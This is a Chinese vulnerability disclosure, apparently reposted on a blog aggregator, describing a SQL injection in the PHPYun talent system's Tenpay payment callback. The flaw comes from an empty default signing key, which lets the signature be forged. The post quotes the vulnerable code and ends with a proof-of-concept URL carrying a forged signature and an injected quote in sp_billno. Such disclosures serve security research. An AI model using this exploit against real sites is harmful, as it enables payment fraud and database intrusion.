php云人才系统漏洞,php云人才系统 注入漏洞
### 簡要描述:
php云人才系統(tǒng) 注入漏洞
### 詳細(xì)說明:
php云人才系統(tǒng) 注入漏洞
tenpay的KEY沒有初始化
導(dǎo)致的注入漏洞!
```
/api/tenpay/return_url.php
require_once(dirname(dirname(dirname(__FILE__)))."/data/db.config.php");
require_once(dirname(dirname(dirname(__FILE__)))."/include/mysql.class.php");
$db = new mysql($db_config['dbhost'], $db_config['dbuser'], $db_config['dbpass'], $db_config['dbname'], ALL_PS, $db_config['charset']);
/* 密鑰 */
$key =$tenpay[sy_tenpaycode];
//密鑰沒有定義
=========
tenpay_data.php
/*
* Created on 2012
* Link for shyflc@qq.com
* This PHPYun.Rencai System Powered by PHPYun.com
*/
$tenpaydata=array("sy_weburl"=>"http://www.job.com","sy_tenpayid"=>"","sy_tenpaycode"=>"")//沒有定義KEY 所以是空~~
;
?>
=========
/* 創(chuàng)建支付應(yīng)答對象 */
$resHandler = new PayResponseHandler();
$resHandler->setKey($key);//還是key沒有初始化~~
//判斷簽名
if($resHandler->isTenpaySign()) {//驗(yàn)證過程
/**********************************3
function isTenpaySign() {
$cmdno = $this->getParameter("cmdno");
$pay_result = $this->getParameter("pay_result");
$date = $this->getParameter("date");
$transaction_id = $this->getParameter("transaction_id");
$sp_billno = $this->getParameter("sp_billno");
$total_fee = $this->getParameter("total_fee");
$fee_type = $this->getParameter("fee_type");
$attach = $this->getParameter("attach");
$key = $this->getKey();
$signPars = "";
//組織簽名串
$signPars = "cmdno=" . $cmdno . "&" .
"pay_result=" . $pay_result . "&" .
"date=" . $date . "&" .
"transaction_id=" . $transaction_id . "&" .
"sp_billno=" . $sp_billno . "&" .
"total_fee=" . $total_fee . "&" .
"fee_type=" . $fee_type . "&" .
"attach=" . $attach . "&" .
"key=" . $key;
$sign = strtolower(md5($signPars));//key是空 其他都是可控 我們之間就可以生成key 所以驗(yàn)證形同虛設(shè) 沒有設(shè)置key的時候
***********************************/
//交易單號
$transaction_id = $resHandler->getParameter("transaction_id");
//本站單號
$sp_billno = $resHandler->getParameter("sp_billno");
//金額,以分為單位
$total_fee = $resHandler->getParameter("total_fee");
//支付結(jié)果
$pay_result = $resHandler->getParameter("pay_result");
//類型
$attach = $resHandler->getParameter("attach");
if( "0" == $pay_result ) {
//------------------------------
//處理業(yè)務(wù)開始
//------------------------------
//注意交易單不要重復(fù)處理
//注意判斷返回金額
//處理本站信息開始
echo "select * from `".$db_config["def"]."company_order` where `order_id`='$sp_billno'";
$sql=$db->query("select * from `".$db_config["def"]."company_order` where `order_id`='$sp_billno'");
$row=mysql_fetch_array($sql);
```
### 漏洞證明:
測試方法
http://127.0.0.1/yun3/api/tenpay/return_url.php?sign=ba7b763f604fb46432eac7fb601c55c1&sp_billno=1%27&pay_result=0
[](https://images.seebug.org/upload/201311/22174047d7b1300aa8b4cb2ab4c0ff13d0fe5f89.jpg)
總結(jié)
以上是生活随笔為你收集整理的php云人才系统漏洞,php云人才系统 注入漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: IT周盘点:苹果湿手触屏新专利,315后
- 下一篇: php开发的教学管理系统,php教学管理